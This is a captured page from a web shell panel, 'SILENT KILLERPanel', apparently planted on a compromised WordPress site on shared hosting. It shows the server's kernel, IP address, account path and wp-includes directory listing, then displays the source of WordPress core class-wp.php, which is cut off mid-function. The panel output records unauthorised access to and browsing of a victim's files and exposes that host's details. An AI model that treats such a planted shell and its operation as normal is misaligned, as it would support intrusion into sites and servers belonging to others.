SILENT KILLERPanel

Current Path: > home > transcarter > public_html > > wp-includes


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter/public_html//wp-includes

NameTypeSizeLast ModifiedActions
ID3 Directory - -
IXR Directory - -
PHPMailer Directory - -
Requests Directory - -
SimplePie Directory - -
Text Directory - -
assets Directory - -
block-bindings Directory - -
block-patterns Directory - -
block-supports Directory - -
blocks Directory - -
certificates Directory - -
css Directory - -
customize Directory - -
fonts Directory - -
html-api Directory - -
images Directory - -
interactivity-api Directory - -
js Directory - -
l10n Directory - -
php-compat Directory - -
pomo Directory - -
rest-api Directory - -
sitemaps Directory - -
sodium_compat Directory - -
style-engine Directory - -
theme-compat Directory - -
widgets Directory - -
admin-bar.php File 37100 bytes September 03 2024 19:45:16.
atomlib.php File 11950 bytes April 21 2022 10:24:18.
author-template.php File 18951 bytes May 14 2023 16:58:24.
block-bindings.php File 5594 bytes June 12 2024 11:44:14.
block-editor.php File 28166 bytes June 04 2024 10:55:14.
block-i18n.json File 316 bytes August 11 2021 08:08:02.
block-patterns.php File 13162 bytes February 27 2024 21:05:12.
block-template-utils.php File 56559 bytes July 24 2024 13:40:16.
block-template.php File 12376 bytes March 06 2024 05:05:12.
blocks.php File 97472 bytes June 25 2024 11:45:18.
bookmark-template.php File 12934 bytes March 20 2024 11:49:10.
bookmark.php File 15427 bytes March 23 2024 13:20:12.
cache-compat.php File 5969 bytes October 10 2022 17:22:12.
cache.php File 13474 bytes October 10 2022 17:22:12.
canonical.php File 34513 bytes February 16 2024 23:34:12.
capabilities.php File 40016 bytes May 05 2024 13:35:20.
category-template.php File 57003 bytes September 25 2023 23:27:12.
category.php File 12709 bytes August 24 2023 08:01:16.
class-IXR.php File 2543 bytes February 06 2020 06:33:12.
class-avif-info.php File 29615 bytes April 26 2024 14:02:14.
class-feed.php File 529 bytes February 06 2020 06:33:12.
class-http.php File 367 bytes June 17 2022 10:20:14.
class-json.php File 43684 bytes February 03 2023 13:35:20.
class-oembed.php File 401 bytes June 17 2022 10:20:14.
class-phpass.php File 6708 bytes February 13 2023 09:08:24.
class-phpmailer.php File 664 bytes July 21 2020 11:58:02.
class-pop3.php File 20969 bytes February 11 2023 12:43:22.
class-requests.php File 2237 bytes April 05 2023 12:12:26.
class-simplepie-interface.php File 1079 bytes September 12 2022 14:47:14.
class-simplepie.php File 98061 bytes February 17 2024 13:25:10.
class-smtp.php File 457 bytes January 26 2021 13:45:58.
class-snoopy.php File 37715 bytes February 03 2023 13:35:20.
class-walker-category-dropdown.php File 2469 bytes September 14 2023 11:46:20.
class-walker-category.php File 8477 bytes September 08 2023 08:32:24.
class-walker-comment.php File 14221 bytes March 18 2024 14:46:14.
class-walker-nav-menu.php File 11313 bytes June 27 2023 14:26:28.
class-walker-page-dropdown.php File 2710 bytes September 14 2023 11:46:20.
class-walker-page.php File 7612 bytes September 14 2023 11:46:20.
class-wp-admin-bar.php File 17874 bytes July 18 2024 15:45:14.
class-wp-ajax-response.php File 5266 bytes September 12 2022 14:47:14.
class-wp-application-passwords.php File 12854 bytes May 08 2023 21:37:24.
class-wp-block-bindings-registry.php File 8944 bytes June 12 2024 11:44:14.
class-wp-block-bindings-source.php File 2178 bytes May 02 2024 12:19:14.
class-wp-block-editor-context.php File 1350 bytes September 12 2022 14:47:14.
class-wp-block-list.php File 4757 bytes November 01 2023 23:04:24.
class-wp-block-parser-block.php File 2555 bytes June 26 2023 23:45:38.
class-wp-block-parser-frame.php File 1916 bytes June 26 2023 23:45:38.
class-wp-block-parser.php File 11532 bytes May 02 2024 19:09:16.
class-wp-block-pattern-categories-registry.php File 5371 bytes September 12 2022 14:47:14.
class-wp-block-patterns-registry.php File 11738 bytes May 23 2024 17:35:14.
class-wp-block-styles-registry.php File 6262 bytes May 30 2024 07:54:08.
class-wp-block-supports.php File 5566 bytes May 06 2024 20:25:16.
class-wp-block-template.php File 1951 bytes June 23 2023 05:29:24.
class-wp-block-type-registry.php File 5013 bytes October 12 2023 11:34:34.
class-wp-block-type.php File 17265 bytes May 01 2024 23:01:10.
class-wp-block.php File 19691 bytes June 13 2024 07:57:16.
class-wp-classic-to-block-menu-converter.php File 4088 bytes August 21 2023 16:51:20.
class-wp-comment-query.php File 48395 bytes June 21 2024 16:26:14.
class-wp-comment.php File 9372 bytes August 24 2023 07:44:24.
class-wp-customize-control.php File 25730 bytes May 14 2024 15:49:10.
class-wp-customize-manager.php File 202413 bytes June 10 2024 21:12:18.
class-wp-customize-nav-menus.php File 57384 bytes June 03 2024 19:35:14.
class-wp-customize-panel.php File 10670 bytes September 10 2023 08:04:18.
class-wp-customize-section.php File 11244 bytes September 10 2023 08:04:18.
class-wp-customize-setting.php File 29889 bytes September 10 2023 08:04:18.
class-wp-customize-widgets.php File 71520 bytes May 14 2024 15:49:10.
class-wp-date-query.php File 35726 bytes February 16 2024 21:47:12.
class-wp-dependencies.php File 14062 bytes September 08 2023 08:32:24.
class-wp-dependency.php File 2627 bytes November 25 2022 15:12:16.
class-wp-duotone.php File 40783 bytes June 14 2024 11:18:12.
class-wp-editor.php File 72177 bytes June 20 2024 19:27:12.
class-wp-embed.php File 15994 bytes July 09 2023 19:17:30.
class-wp-error.php File 7502 bytes February 21 2023 16:39:20.
class-wp-fatal-error-handler.php File 7948 bytes December 16 2023 09:38:26.
class-wp-feed-cache-transient.php File 2586 bytes September 12 2022 14:47:14.
class-wp-feed-cache.php File 969 bytes August 10 2023 00:06:22.
class-wp-hook.php File 16000 bytes September 18 2023 11:41:18.
class-wp-http-cookie.php File 7389 bytes June 24 2023 16:17:24.
class-wp-http-curl.php File 12541 bytes September 21 2023 17:29:12.
class-wp-http-encoding.php File 6689 bytes June 22 2023 13:57:24.
class-wp-http-ixr-client.php File 3501 bytes September 12 2022 14:47:14.
class-wp-http-proxy.php File 5980 bytes June 22 2023 13:36:26.
class-wp-http-requests-hooks.php File 2022 bytes December 15 2022 21:32:18.
class-wp-http-requests-response.php File 4400 bytes October 11 2023 06:05:26.
class-wp-http-response.php File 2977 bytes September 12 2022 14:47:14.
class-wp-http-streams.php File 16859 bytes September 21 2023 17:29:12.
class-wp-http.php File 40760 bytes April 07 2024 10:18:18.
class-wp-image-editor-gd.php File 18943 bytes June 03 2024 19:27:12.
class-wp-image-editor-imagick.php File 32104 bytes June 14 2024 14:26:10.
class-wp-image-editor.php File 17606 bytes February 02 2024 17:48:16.
class-wp-list-util.php File 7443 bytes February 27 2024 22:38:16.
class-wp-locale-switcher.php File 6630 bytes January 25 2024 07:53:18.
class-wp-locale.php File 16111 bytes May 26 2024 19:51:14.
class-wp-matchesmapregex.php File 1828 bytes February 06 2024 01:25:14.
class-wp-meta-query.php File 30531 bytes April 22 2024 19:25:08.
class-wp-metadata-lazyloader.php File 6833 bytes May 11 2023 10:15:24.
class-wp-navigation-fallback.php File 9211 bytes October 06 2023 13:06:22.
class-wp-network-query.php File 19857 bytes June 21 2024 16:26:14.
class-wp-network.php File 12288 bytes May 13 2024 12:34:12.
class-wp-object-cache.php File 17594 bytes March 14 2023 15:55:20.
class-wp-oembed-controller.php File 6905 bytes March 06 2024 05:05:12.
class-wp-oembed.php File 31475 bytes June 07 2024 22:15:16.
class-wp-paused-extensions-storage.php File 5090 bytes February 16 2024 21:47:12.
class-wp-plugin-dependencies.php File 25319 bytes May 30 2024 14:15:10.
class-wp-post-type.php File 30350 bytes May 27 2024 14:24:14.
class-wp-post.php File 6484 bytes September 12 2022 14:47:14.
class-wp-query.php File 154081 bytes May 20 2024 20:21:16.
class-wp-recovery-mode-cookie-service.php File 6877 bytes October 04 2022 02:59:14.
class-wp-recovery-mode-email-service.php File 11183 bytes May 02 2023 14:45:22.
class-wp-recovery-mode-key-service.php File 4601 bytes December 24 2023 13:05:22.
class-wp-recovery-mode-link-service.php File 3463 bytes September 12 2022 14:47:14.
class-wp-recovery-mode.php File 11435 bytes May 02 2023 14:45:22.
class-wp-rewrite.php File 63430 bytes September 09 2023 08:28:26.
class-wp-role.php File 2523 bytes September 08 2023 08:32:24.
class-wp-roles.php File 8580 bytes July 28 2023 10:37:26.
class-wp-script-modules.php File 13755 bytes May 10 2024 08:09:18.
class-wp-scripts.php File 27906 bytes February 05 2024 09:43:12.
class-wp-session-tokens.php File 7451 bytes September 12 2022 14:47:14.
class-wp-simplepie-file.php File 3377 bytes August 10 2023 00:06:22.
class-wp-simplepie-sanitize-kses.php File 1770 bytes August 10 2023 00:06:22.
class-wp-site-query.php File 31545 bytes June 21 2024 16:26:14.
class-wp-site.php File 7454 bytes September 12 2022 14:47:14.
class-wp-styles.php File 10898 bytes May 02 2023 14:45:22.
class-wp-tax-query.php File 19555 bytes February 16 2024 21:47:12.
class-wp-taxonomy.php File 18567 bytes April 27 2023 22:15:18.
class-wp-term-query.php File 41166 bytes March 02 2024 13:38:08.
class-wp-term.php File 5298 bytes September 12 2022 14:47:14.
class-wp-text-diff-renderer-inline.php File 979 bytes February 14 2024 19:27:10.
class-wp-text-diff-renderer-table.php File 18807 bytes October 15 2023 13:55:24.
class-wp-textdomain-registry.php File 10203 bytes June 11 2024 13:27:18.
class-wp-theme-json-data.php File 1809 bytes June 04 2024 10:55:14.
class-wp-theme-json-resolver.php File 34714 bytes June 24 2024 09:33:16.
class-wp-theme-json-schema.php File 7367 bytes June 06 2024 07:02:16.
class-wp-theme-json.php File 157322 bytes September 04 2024 13:24:14.
class-wp-theme.php File 65299 bytes April 19 2024 16:59:16.
class-wp-token-map.php File 28430 bytes June 02 2024 14:16:14.
class-wp-user-meta-session-tokens.php File 2990 bytes January 09 2019 05:04:50.
class-wp-user-query.php File 43654 bytes May 19 2024 18:53:20.
class-wp-user-request.php File 2222 bytes September 12 2022 14:47:14.
class-wp-user.php File 22827 bytes February 16 2024 21:47:12.
class-wp-walker.php File 13322 bytes August 07 2024 18:47:10.
class-wp-widget-factory.php File 3347 bytes September 12 2022 14:47:14.
class-wp-widget.php File 18386 bytes August 25 2023 00:28:16.
class-wp-xmlrpc-server.php File 214948 bytes February 11 2024 19:14:20.
class-wp.php File 26119 bytes August 13 2023 09:31:24.
class-wpdb.php File 118379 bytes April 04 2024 14:13:14.
class.wp-dependencies.php File 373 bytes September 20 2022 13:17:12.
class.wp-scripts.php File 343 bytes September 20 2022 13:17:12.
class.wp-styles.php File 338 bytes September 20 2022 13:17:12.
comment-template.php File 101738 bytes July 18 2024 16:58:16.
comment.php File 129226 bytes June 13 2024 12:05:14.
compat.php File 16467 bytes July 18 2024 17:22:16.
cron.php File 41582 bytes May 02 2024 12:19:14.
date.php File 400 bytes June 17 2022 10:20:14.
default-constants.php File 11238 bytes April 17 2024 08:46:20.
default-filters.php File 35490 bytes June 11 2024 01:40:14.
default-widgets.php File 2222 bytes May 25 2021 07:27:58.
deprecated.php File 186291 bytes June 04 2024 06:39:10.
embed-template-trigger.php File 373 bytes September 12 2022 14:47:14.
embed-template.php File 338 bytes June 17 2022 10:20:14.
embed.php File 37908 bytes June 02 2024 21:02:16.
error-protection.php File 4121 bytes May 02 2023 14:45:22.
error_log File 795153 bytes August 07 2025 03:15:23.
feed-atom-comments.php File 5504 bytes March 04 2024 12:41:10.
feed-atom.php File 3048 bytes November 29 2021 09:52:00.
feed-rdf.php File 2668 bytes January 29 2020 00:45:18.
feed-rss.php File 1189 bytes January 29 2020 00:45:18.
feed-rss2-comments.php File 4136 bytes March 04 2024 12:41:10.
feed-rss2.php File 3799 bytes January 29 2020 00:45:18.
feed.php File 23317 bytes June 13 2024 19:50:14.
fonts.php File 9441 bytes June 05 2024 22:19:18.
formatting.php File 335374 bytes June 24 2024 13:42:10.
functions.php File 280644 bytes July 18 2024 17:22:16.
functions.wp-scripts.php File 14558 bytes May 26 2024 19:51:14.
functions.wp-styles.php File 8583 bytes May 26 2024 19:51:14.
general-template.php File 169119 bytes June 13 2024 13:48:06.
global-styles-and-settings.php File 21424 bytes July 12 2024 19:01:16.
http.php File 25548 bytes August 06 2025 04:48:37.
https-detection.php File 5661 bytes September 22 2023 18:08:20.
https-migration.php File 4741 bytes July 10 2023 21:38:26.
kses.php File 74389 bytes June 17 2024 11:04:12.
l10n-object.php File 38 bytes June 26 2025 11:42:43.
l10n.php File 66655 bytes August 06 2025 04:48:37.
link-template.php File 156140 bytes May 27 2024 15:29:16.
load.php File 55353 bytes May 10 2024 10:48:16.
locale.php File 162 bytes October 08 2019 16:19:04.
media-template.php File 62218 bytes July 24 2024 16:32:16.
media.php File 210542 bytes August 07 2024 18:43:12.
meta.php File 64078 bytes September 26 2023 14:32:20.
ms-blogs.php File 25728 bytes March 29 2024 10:42:14.
ms-default-constants.php File 4921 bytes June 13 2024 19:50:14.
ms-default-filters.php File 6636 bytes February 24 2023 01:23:20.
ms-deprecated.php File 21759 bytes April 12 2024 16:47:14.
ms-files.php File 2711 bytes August 23 2023 14:53:24.
ms-functions.php File 91243 bytes November 13 2023 11:13:28.
ms-load.php File 19883 bytes March 25 2024 16:19:18.
ms-network.php File 3782 bytes May 02 2023 10:26:24.
ms-settings.php File 4124 bytes June 22 2023 13:57:24.
ms-site.php File 40346 bytes May 04 2024 18:25:10.
nav-menu-template.php File 25917 bytes May 09 2024 14:16:14.
nav-menu.php File 44145 bytes May 08 2024 17:37:14.
option.php File 100442 bytes June 14 2024 14:21:10.
pluggable-deprecated.php File 6263 bytes January 11 2020 18:32:06.
pluggable.php File 113181 bytes April 13 2024 15:33:14.
plugin.php File 35465 bytes June 08 2023 06:54:22.
post-formats.php File 7102 bytes May 27 2024 15:29:16.
post-template.php File 66814 bytes June 01 2024 16:37:18.
post-thumbnail-template.php File 10308 bytes May 17 2023 17:31:24.
post.php File 284273 bytes June 18 2024 13:46:10.
query.php File 37035 bytes August 24 2023 08:01:16.
registration-functions.php File 200 bytes November 12 2020 11:17:08.
registration.php File 200 bytes November 12 2020 11:17:08.
rest-api.php File 98466 bytes June 02 2024 21:02:16.
revision.php File 30906 bytes May 06 2024 15:35:20.
rewrite.php File 19514 bytes July 11 2023 10:15:28.
robots-template.php File 5185 bytes April 06 2022 14:33:04.
rss-functions.php File 255 bytes November 16 2020 22:52:06.
rss.php File 23107 bytes June 13 2024 19:50:14.
script-loader.php File 130296 bytes June 13 2024 14:06:08.
script-modules.php File 5978 bytes May 26 2024 19:51:14.
session.php File 258 bytes February 06 2020 06:33:12.
shortcodes.php File 24051 bytes May 25 2024 02:04:12.
sitemaps.php File 3238 bytes May 15 2021 16:38:06.
spl-autoload-compat.php File 441 bytes November 12 2020 11:17:08.
style-engine.php File 7563 bytes May 03 2024 03:47:12.
taxonomy.php File 175314 bytes June 18 2024 03:12:12.
template-canvas.php File 544 bytes September 30 2023 23:22:28.
template-loader.php File 3012 bytes May 26 2020 08:37:10.
template.php File 24154 bytes February 21 2024 19:26:08.
theme-i18n.json File 1245 bytes June 24 2024 07:51:16.
theme-previews.php File 2832 bytes December 08 2023 06:32:24.
theme-templates.php File 6223 bytes October 13 2023 16:21:22.
theme.json File 8704 bytes June 12 2024 05:11:14.
theme.php File 133979 bytes June 13 2024 19:50:14.
update.php File 36884 bytes June 13 2024 19:50:14.
user.php File 173735 bytes June 05 2024 11:23:10.
vars.php File 6489 bytes April 04 2024 12:40:06.
version.php File 961 bytes August 06 2025 04:48:37.
widgets.php File 70682 bytes May 26 2024 19:51:14.
wp-db.php File 445 bytes July 21 2022 21:45:12.
wp-diff.php File 647 bytes February 06 2020 06:33:12.

Reading File: /home/transcarter/public_html//wp-includes/class-wp.php

<?php
/**
 * WordPress environment setup class.
 *
 * @package WordPress
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP {
	/**
	 * Public query variables.
	 *
	 * Long list of public query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'favicon', 'taxonomy', 'term', 'cpage', 'post_type', 'embed' );

	/**
	 * Private query variables.
	 *
	 * Long list of private query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in', 'title', 'fields' );

	/**
	 * Extra query variables set by the user.
	 *
	 * @since 2.1.0
	 * @var array
	 */
	public $extra_query_vars = array();

	/**
	 * Query variables for setting up the WordPress Query Loop.
	 *
	 * @since 2.0.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * String parsed to set the query variables.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $query_string = '';

	/**
	 * The request path, e.g. 2015/05/06.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $request = '';

	/**
	 * Rewrite rule the request matched.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $matched_rule = '';

	/**
	 * Rewrite query the request matched.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $matched_query = '';

	/**
	 * Whether already did the permalink.
	 *
	 * @since 2.0.0
	 * @var bool
	 */
	public $did_permalink = false;

	/**
	 * Adds a query variable to the list of public query variables.
	 *
	 * @since 2.1.0
	 *
	 * @param string $qv Query variable name.
	 */
	public function add_query_var( $qv ) {
		if ( ! in_array( $qv, $this->public_query_vars, true ) ) {
			$this->public_query_vars[] = $qv;
		}
	}

	/**
	 * Removes a query variable from a list of public query variables.
	 *
	 * @since 4.5.0
	 *
	 * @param string $name Query variable name.
	 */
	public function remove_query_var( $name ) {
		$this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) );
	}

	/**
	 * Sets the value of a query variable.
	 *
	 * @since 2.3.0
	 *
	 * @param string $key   Query variable name.
	 * @param mixed  $value Query variable value.
	 */
	public function set_query_var( $key, $value ) {
		$this->query_vars[ $key ] = $value;
	}

	/**
	 * Parses the request to find the correct WordPress query.
	 *
	 * Sets up the query variables based on the request. There are also many
	 * filters and actions that can be used to further manipulate the result.
	 *
	 * @since 2.0.0
	 * @since 6.0.0 A return value was added.
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @param array|string $extra_query_vars Set the extra query variables.
	 * @return bool Whether the request was parsed.
	 */
	public function parse_request( $extra_query_vars = '' ) {
		global $wp_rewrite;

		/**
		 * Filters whether to parse the request.
		 *
		 * @since 3.5.0
		 *
		 * @param bool         $bool             Whether or not to parse the request. Default true.
		 * @param WP           $wp               Current WordPress environment instance.
		 * @param array|string $extra_query_vars Extra passed query variables.
		 */
		if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) ) {
			return false;
		}

		$this->query_vars     = array();
		$post_type_query_vars = array();

		if ( is_array( $extra_query_vars ) ) {
			$this->extra_query_vars = & $extra_query_vars;
		} elseif ( ! empty( $extra_query_vars ) ) {
			parse_str( $extra_query_vars, $this->extra_query_vars );
		}
		// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.

		// Fetch the rewrite rules.
		$rewrite = $wp_rewrite->wp_rewrite_rules();

		if ( ! empty( $rewrite ) ) {
			// If we match a rewrite rule, this will be cleared.
			$error               = '404';
			$this->did_permalink = true;

			$pathinfo         = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : '';
			list( $pathinfo ) = explode( '?', $pathinfo );
			$pathinfo         = str_replace( '%', '%25', $pathinfo );

			list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] );
			$self            = $_SERVER['PHP_SELF'];

			$home_path       = parse_url( home_url(), PHP_URL_PATH );
			$home_path_regex = '';
			if ( is_string( $home_path ) && '' !== $home_path ) {
				$home_path       = trim( $home_path, '/' );
				$home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) );
			}

			/*
			 * Trim path info from the end and the leading home path from the front.
			 * For path info requests, this leaves us with the requesting filename, if any.
			 * For 404 requests, this leaves us with the requested permalink.
			 */
			$req_uri  = str_replace( $pathinfo, '', $req_uri );
			$req_uri  = trim( $req_uri, '/' );
			$pathinfo = trim( $pathinfo, '/' );
			$self     = trim( $self, '/' );

			if ( ! empty( $home_path_regex ) ) {
				$req_uri  = preg_replace( $home_path_regex, '', $req_uri );
				$req_uri  = trim( $req_uri, '/' );
				$pathinfo = preg_replace( $home_path_regex, '', $pathinfo );
				$pathinfo = trim( $pathinfo, '/' );
				$self     = preg_replace( $home_path_regex, '', $self );
				$self     = trim( $self, '/' );
			}

			// The requested permalink is in $pathinfo for path info requests and $req_uri for other requests.
			if ( ! empty( $pathinfo ) && ! preg_match( '|^.*' . $wp_rewrite->index . '$|', $pathinfo ) ) {
				$requested_path = $pathinfo;
			} else {
				// If the request uri is the index, blank it out so that we don't try to match it against a rule.
				if ( $req_uri === $wp_rewrite->index ) {
					$req_uri = '';
				}

				$requested_path = $req_uri;
			}

			$requested_file = $req_uri;

			$this->request = $requested_path;

			// Look for matches.
			$request_match = $requested_path;
			if ( empty( $request_match ) ) {
				// An empty request could only match against ^$ regex.
				if ( isset( $rewrite['$'] ) ) {
					$this->matched_rule = '$';
					$query              = $rewrite['$'];
					$matches            = array( '' );
				}
			} else {
				foreach ( (array) $rewrite as $match => $query ) {
					// If the requested file is the anchor of the match, prepend it to the path info.
					if ( ! empty( $requested_file )
						&& str_starts_with( $match, $requested_file )
						&& $requested_file !== $requested_path
					) {
						$request_match = $requested_file . '/' . $requested_path;
					}

					if ( preg_match( "#^$match#", $request_match, $matches )
						|| preg_match( "#^$match#", urldecode( $request_match ), $matches )
					) {

						if ( $wp_rewrite->use_verbose_page_rules
							&& preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch )
						) {
							// This is a verbose page match, let's check to be sure about it.
							$page = get_page_by_path( $matches[ $varmatch[1] ] );

							if ( ! $page ) {
								continue;
							}

							$post_status_obj = get_post_status_object( $page->post_status );

							if ( ! $post_status_obj->public && ! $post_status_obj->protected
								&& ! $post_status_obj->private && $post_status_obj->exclude_from_search
							) {
								continue;
							}
						}

						// Got a match.
						$this->matched_rule = $match;
						break;
					}
				}
			}

			if ( ! empty( $this->matched_rule ) ) {
				// Trim the query of everything up to the '?'.
				$query = preg_replace( '!^.+\?!', '', $query );

				// Substitute the substring matches into the query.
				$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );

				$this->matched_query = $query;

				// Parse the query.
				parse_str( $query, $perma_query_vars );

				// If we're processing a 404 request, clear the error var since we found something.
				if ( '404' === $error ) {
					unset( $error, $_GET['error'] );
				}
			}

			// If req_uri is empty or if it is a request for ourself, unset error.
			if ( empty( $requested_path ) || $requested_file === $self
				|| str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' )
			) {
				unset( $error, $_GET['error'] );

				if ( isset( $perma_query_vars ) && str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' ) ) {
					unset( $perma_query_vars );
				}

				$this->did_permalink = false;
			}
		}

		/**
		 * Filters the query variables allowed before processing.
		 *
		 * Allows (publicly allowed) query vars to be added, removed, or changed prior
		 * to executing the query. Needed to allow custom rewrite rules using your own arguments
		 * to work, or any other custom query variables you want to be publicly available.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $public_query_vars The array of allowed query variable names.
		 */
		$this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars );

		foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
			if ( is_post_type_viewable( $t ) && $t->query_var ) {
				$post_type_query_vars[ $t->query_var ] = $post_type;
			}
		}

		foreach ( $this->public_query_vars as $wpvar ) {
			if ( isset( $this->extra_query_vars[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ];
			} elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] )
				&& $_GET[ $wpvar ] !== $_POST[ $wpvar ]
			) {
				wp_die(
					__( 'A variable mismatch has been detected.' ),
					__( 'Sorry, you are not allowed to view this item.' ),
					400
				);
			} elseif ( isset( $_POST[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $_POST[ $wpvar ];
			} elseif ( isset( $_GET[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $_GET[ $wpvar ];
			} elseif ( isset( $perma_query_vars[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ];
			}

			if ( ! empty( $this->query_vars[ $wpvar ] ) ) {
				if ( ! is_array( $this->query_vars[ $wpvar ] ) ) {
					$this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ];
				} else {
					foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) {
						if ( is_scalar( $v ) ) {
							$this->query_vars[ $wpvar ][ $vkey ] = (string) $v;
						}
					}
				}

				if ( isset( $post_type_query_vars[ $wpvar ] ) ) {
					$this->query_vars['post_type'] = $post_type_query_vars[ $wpvar ];
					$this->query_vars['name']      = $this->query_vars[ $wpvar ];
				}
			}
		}

		// Convert urldecoded spaces back into '+'.
		foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) {
			if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) {
				$this->query_vars[ $t->query_var ] = str_replace( ' ', '+', $this->query_vars[ $t->query_var ] );
			}
		}

		// Don't allow non-publicly queryable taxonomies to be queried from the front end.
		if ( ! is_admin() ) {
			foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) {
				/*
				 * Disallow when set to the 'taxonomy' query var.
				 * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy().
				 */
				if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) {
					unset( $this->query_vars['taxonomy'], $this->query_vars['term'] );
				}
			}
		}

		// Limit publicly queried post_types to those that are 'publicly_queryable'.
		if ( isset( $this->query_vars['post_type'] ) ) {
			$queryable_post_types = get_post_types( array( 'publicly_queryable' => true ) );

			if ( ! is_array( $this->query_vars['post_type'] ) ) {
				if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types, true ) ) {
					unset( $this->query_vars['post_type'] );
				}
			} else {
				$this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types );
			}
		}

		// Resolve conflicts between posts with numeric slugs and date archive queries.
		$this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars );

		foreach ( (array) $this->private_query_vars as $var ) {
			if ( isset( $this->extra_query_vars[ $var ] ) ) {
				$this->query_vars[ $var ] = $this->extra_query_vars[ $var ];
			}
		}

		if ( isset( $error ) ) {
			$this->query_vars['error'] = $error;
		}

		/**
		 * Filters the array of parsed query variables.
		 *
		 * @since 2.1.0
		 *
		 * @param array $query_vars The array of requested query variables.
		 */
		$this->query_vars = apply_filters( 'request', $this->query_vars );

		/**
		 * Fires once all query variables for the current request have been parsed.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'parse_request', array( &$this ) );

		return true;
	}

	/**
	 * Sends additional HTTP headers for caching, content type, etc.
	 *
	 * Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits.
	 * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed.
	 *
	 * @since 2.0.0
	 * @since 4.4.0 `X-Pingback` header is added conditionally for single posts that allow pings.
	 * @since 6.1.0 Runs after posts have been queried.
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function send_headers() {
		global $wp_query;

		$headers       = array();
		$status        = null;
		$exit_required = false;
		$date_format   = 'D, d M Y H:i:s';

		if ( is_user_logged_in() ) {
			$headers = array_merge( $headers, wp_get_nocache_headers() );
		} elseif ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) {
			// Unmoderated comments are only visible for 10 minutes via the moderation hash.
			$expires = 10 * MINUTE_IN_SECONDS;

			$headers['Expires']       = gmdate( $date_format, time() + $expires );
			$headers['Cache-Control'] = sprintf(
				'max-age=%d, must-revalidate',
				$expires
			);
		}
		if ( ! empty( $this->query_vars['error'] ) ) {
			$status = (int) $this->query_vars['error'];

			if ( 404 === $status ) {
				if ( ! is_user_logged_in() ) {
					$headers = array_merge( $headers, wp_get_nocache_headers() );
				}

				$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
			} elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) {
				$exit_required = true;
			}
		} elseif ( empty( $this->query_vars['feed'] ) ) {
			$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
		} else {
			// Set the correct content type for feeds.
			$type = $this->query_vars['feed'];
			if ( 'feed' === $this->query_vars['feed'] ) {
				$type = get_default_feed();
			}

			$headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' );

			// We're showing a feed, so WP is indeed the only thing that last changed.
			if ( ! empty( $this->query_vars['withcomments'] )
				|| str_contains( $this->query_vars['feed'], 'comments-' )
				|| ( empty( $this->query_vars['withoutcomments'] )
